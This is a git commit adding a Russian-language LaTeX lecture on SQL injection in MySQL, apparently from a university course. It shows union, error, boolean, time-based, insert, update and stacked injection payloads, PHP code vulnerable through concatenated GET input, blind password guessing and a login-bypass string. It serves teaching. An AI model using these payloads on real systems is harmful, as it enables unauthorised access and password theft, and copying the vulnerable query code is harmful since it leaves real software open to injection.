summaryrefslogtreecommitdiff
path: root/opzbd-lecture/presentation/presentation.tex
diff options
context:
space:
mode:
authorAndrew Guschin <guschin.drew@gmail.com>2023-06-13 11:32:06 +0400
committerAndrew Guschin <guschin.drew@gmail.com>2023-06-13 11:32:06 +0400
commitc786e903ea549020bf1452ab11ff9be8730a1e60 (patch)
tree16e5400195131eeac9f1012ededdc8af0d88752e /opzbd-lecture/presentation/presentation.tex
parent44351acb9efc85b0842b873b63d622bda4523713 (diff)
Добавлена лекция по защищённым базам данных
Diffstat (limited to 'opzbd-lecture/presentation/presentation.tex')
-rw-r--r--opzbd-lecture/presentation/presentation.tex315
1 files changed, 315 insertions, 0 deletions
diff --git a/opzbd-lecture/presentation/presentation.tex b/opzbd-lecture/presentation/presentation.tex
new file mode 100644
index 0000000..6cad20f
--- /dev/null
+++ b/opzbd-lecture/presentation/presentation.tex
@@ -0,0 +1,315 @@
+\documentclass{beamer}
+
+\usepackage[T2A]{fontenc}
+\usepackage[utf8]{inputenc}
+\usepackage[english,russian]{babel}
+\usepackage{wrapfig}
+\usepackage{graphicx}
+\usepackage{multirow}
+\usepackage{fancyvrb}
+\usepackage{underscore}
+\graphicspath{ {./images/} }
+
+\usetheme{Madrid}
+
+\title{SQL инъекция в сервере MySQL}
+\author[Андрей, Роман, Иван, Ирина]{Андрей~Гущин \and Роман~Стаин \and Иван~Улитин \and Ирина~Зимина}
+\institute[СГУ]{Саратовский Государственный Университет}
+\date{6 марта 2023 г.}
+
+\begin{document}
+
+\maketitle
+
+\begin{frame}{Анализ БД через SQL инъекцию}
+ \begin{minipage}[t]{0.48\linewidth}
+ \begin{figure}[H]
+ \includegraphics[width=\textwidth]{databases}
+ \end{figure}
+ \end{minipage}
+ \hfill
+ \begin{minipage}[t]{0.48\linewidth}
+ \begin{figure}[H]
+ \includegraphics[width=0.7\textwidth]{tables}
+ \end{figure}
+ \end{minipage}
+\end{frame}
+
+\begin{frame}{Анализ БД через SQL инъекцию}
+ \begin{figure}[H]
+ \includegraphics[width=\textwidth]{users}
+ \end{figure}
+\end{frame}
+
+
+\begin{frame}{Функция SERVERPROPERTY}
+ \begin{figure}[H]
+ \includegraphics[width=\textwidth]{metadata_1}
+ \end{figure}
+\end{frame}
+\begin{frame}{Функция DATABASEPROPERTYEX}
+ \begin{figure}[H]
+ \includegraphics[width=\textwidth]{metadata_2}
+ \end{figure}
+\end{frame}
+\begin{frame}{Функции DB_NAME и DB_ID}
+ \begin{figure}[H]
+ \includegraphics[width=\textwidth]{metadata_3}
+ \end{figure}
+\end{frame}
+\begin{frame}{Функции FILE_NAME, FILE_ID и FILE_IDEX}
+ \begin{figure}[H]
+ \includegraphics[width=\textwidth]{metadata_5}
+ \end{figure}
+\end{frame}
+\begin{frame}{Функции SCHEMA_NAME и SCHEMA_ID}
+ \begin{figure}[H]
+ \includegraphics[width=\textwidth]{metadata_7}
+ \end{figure}
+\end{frame}
+\begin{frame}{Функции SCHEMA_NAME и SCHEMA_ID}
+ \begin{figure}[H]
+ \includegraphics[width=\textwidth]{metadata_8}
+ \end{figure}
+\end{frame}
+\begin{frame}{Функции OBJECT_NAME и OBJECT_ID}
+ \begin{figure}[H]
+ \includegraphics[width=\textwidth]{metadata_9}
+ \end{figure}
+\end{frame}
+\begin{frame}{Функция STATS_DATE}
+ \begin{figure}[H]
+ \includegraphics[width=0.8\textwidth]{metadata_10}
+ \end{figure}
+\end{frame}
+\begin{frame}{Функция STATS_DATE}
+ \begin{figure}[H]
+ \includegraphics[width=0.85\textwidth]{metadata_11}
+ \end{figure}
+\end{frame}
+
+
+\begin{frame}[fragile]{Типы SQL запросов -- Union-based}
+ \begin{block}{Запрос}
+ \begin{Verbatim}
+SELECT name,email FROM users WHERE id='<id>';
+ \end{Verbatim}
+ \end{block}
+ \pause
+ \begin{block}{Инъекция}
+ \begin{Verbatim}
+1' UNION SELECT password,secret FROM users --
+ \end{Verbatim}
+ \end{block}
+ \pause
+ \begin{block}{Запрос с инъекцией}
+ \begin{Verbatim}
+SELECT name,email FROM users WHERE id='1'
+UNION
+SELECT password,secret FROM users -- ';
+ \end{Verbatim}
+ \end{block}
+\end{frame}
+
+\begin{frame}[fragile]{Типы SQL запросов -- Error-based}
+ \begin{block}{Запрос}
+ \begin{Verbatim}
+SELECT name,email FROM users
+ WHERE id='1' and
+ ExtractValue(rand(),concat(0x3a,version()))
+ \end{Verbatim}
+ \end{block}
+\end{frame}
+
+\begin{frame}[fragile]{Типы SQL запросов -- Boolean-based}
+ \begin{block}{Запрос}
+ \begin{Verbatim}
+SELECT email FROM users WHERE id='<id>';
+ \end{Verbatim}
+ \end{block}
+ \pause
+ \begin{block}{Инъекция}
+ \begin{Verbatim}
+1' and password LIKE 'a%
+ \end{Verbatim}
+ \end{block}
+ \pause
+ \begin{block}{Запрос с инъекцией}
+ \begin{Verbatim}
+SELECT email FROM users WHERE id='1' and password LIKE 'a%';
+ \end{Verbatim}
+ \end{block}
+\end{frame}
+
+\begin{frame}[fragile]{Типы SQL запросов -- Time-based}
+ \begin{block}{Запрос}
+ \begin{Verbatim}
+SELECT login FROM users WHERE id='<id>';
+ \end{Verbatim}
+ \end{block}
+ \pause
+ \begin{block}{Инъекция}
+ \begin{Verbatim}
+1' AND IF(MID(VERSION(),1,1) = '5', SLEEP(15), 0)
+ \end{Verbatim}
+ \end{block}
+ \pause
+ \begin{block}{Запрос с инъекцией}
+ \begin{Verbatim}
+SELECT login FROM users
+ WHERE id='1' AND
+ IF(MID(VERSION(),1,1) = '5', SLEEP(15), 0)';
+ \end{Verbatim}
+ \end{block}
+\end{frame}
+
+\begin{frame}[fragile]{Типы SQL запросов -- Insert}
+ \begin{block}{Запрос}
+ \begin{Verbatim}
+INSERT INTO users(email,login,password)
+ VALUES('<input0>','<input1>','<input2>');
+ \end{Verbatim}
+ \end{block}
+ \pause
+ \begin{block}{Инъекция}
+ \begin{Verbatim}
+test1','1234'),('my@email.com',VERSION(),'1337')
+ \end{Verbatim}
+ \end{block}
+ \pause
+ \begin{block}{Запрос с инъекцией}
+ \begin{Verbatim}
+INSERT INTO users(email,login,password)
+ VALUES('...','test1','1234'),
+ ('my@email.com',VERSION(),'1337')
+ \end{Verbatim}
+ \end{block}
+\end{frame}
+
+\begin{frame}[fragile]{Типы SQL запросов -- Update}
+ \begin{block}{Запрос}
+ \begin{Verbatim}
+UPDATE users SET about='about' WHERE id='1';
+ \end{Verbatim}
+ \end{block}
+ \pause
+ \begin{block}{Инъекция}
+ \begin{Verbatim}
+', email=VERSION() WHERE id='1'
+ \end{Verbatim}
+ \end{block}
+ \pause
+ \begin{block}{Запрос с инъекцией}
+ \begin{Verbatim}
+UPDATE users SET about='', email=VERSION()
+ WHERE id='1' -- ' WHERE id='1';
+ \end{Verbatim}
+ \end{block}
+\end{frame}
+
+\begin{frame}[fragile]{Типы SQL запросов -- Stacked}
+ \begin{block}{Запрос}
+ \begin{Verbatim}
+SELECT login FROM users WHERE id='<id>';
+ \end{Verbatim}
+ \end{block}
+ \pause
+ \begin{block}{Инъекция}
+ \begin{Verbatim}
+1'; SELECT password FROM users WHERE id='1
+ \end{Verbatim}
+ \end{block}
+ \pause
+ \begin{block}{Запрос с инъекцией}
+ \begin{Verbatim}
+SELECT login FROM users WHERE id='1';
+SELECT password FROM users WHERE id='1';
+ \end{Verbatim}
+ \end{block}
+\end{frame}
+
+
+\begin{frame}[fragile]{Инъекция в сложных запросах}
+ На практике в конце SQL-запроса могут быть дополнительные условия, операторы
+ сортировки, группировки и другие SQL-конструкции. В каждом конкретном случае,
+ злоумышленник постарается встроить вредоносный кусок таким образом, чтобы
+ запрос в целом остался синтаксически корректным, но выболнял другую функцию.
+
+ \begin{block}{Уязвимый запрос с дополнительным условием}
+ \begin{Verbatim}
+$sql = "SELECT username, realname
+ FROM users WHERE cityid='"
+ . $_GET['cityid'] . "' AND age<'35'";
+ \end{Verbatim}
+ \end{block}
+
+ \begin{block}{Итоговый запрос}
+ \begin{Verbatim}
+SELECT username, realname FROM users WHERE cityid='20'
+UNION SELECT username, password AS realname FROM
+users WHERE 1 OR '1' AND age<'35';
+ \end{Verbatim}
+ \end{block}
+\end{frame}
+
+\begin{frame}[fragile]{Результаты запроса не отображаются пользователю}
+ Может оказаться, что уязвимым является запрос, результаты которого не
+ отображаются пользователю.
+
+ \begin{block}{Пример 1}
+ \begin{Verbatim}
+$sql = "SELECT count(*) FROM users
+ WHERE userid='" . $_GET['userid'] . "'";
+ \end{Verbatim}
+ \end{block}
+
+ \begin{block}{Пример 2}
+ \begin{Verbatim}
+SELECT count(*) FROM users
+WHERE userid='2' AND password LIKE 'a%';
+ \end{Verbatim}
+ \end{block}
+
+ Взломщик получит "пользователь не найден", если пароль не начинается на букву
+ 'a', или стандартную страницу с профилем пользователя, в противном случае.
+ Перебором определяется первая буква пароля, затем вторая и.т.д.
+
+\end{frame}
+
+\begin{frame}[fragile]{Login Bypass Authentication}
+Это может быть использовано для того, чтобы заставить веб-сервер или любой
+другой интерфейс между пользователем и базой данных выполнить указания, которые
+необходимы взломщику.
+
+\begin{block}{Пример 1}
+ \begin{Verbatim}
+SELECT id
+FROM users
+WHERE login='<login>' AND password='<password>';
+ \end{Verbatim}
+\end{block}
+
+\begin{block}{Пример 2}
+ \begin{Verbatim}
+SELECT id FROM users
+WHERE login='1234\' AND password='UNION SELECT 1 -- ';
+ \end{Verbatim}
+\end{block}
+\end{frame}
+
+\begin{frame}{Внимание! Анекдот.}
+ \begin{figure}[H]
+ \includegraphics[width=0.8\textwidth]{sql_joke}
+ \end{figure}
+\end{frame}
+
+\begin{frame}
+ \frametitle{Внимание!}
+
+ \begin{center}
+ {\Huge Спасибо за внимание!} \\
+ {\footnotesize Колоться "--- это незаконно и неэтично.}
+ \end{center}
+\end{frame}
+
+\end{document}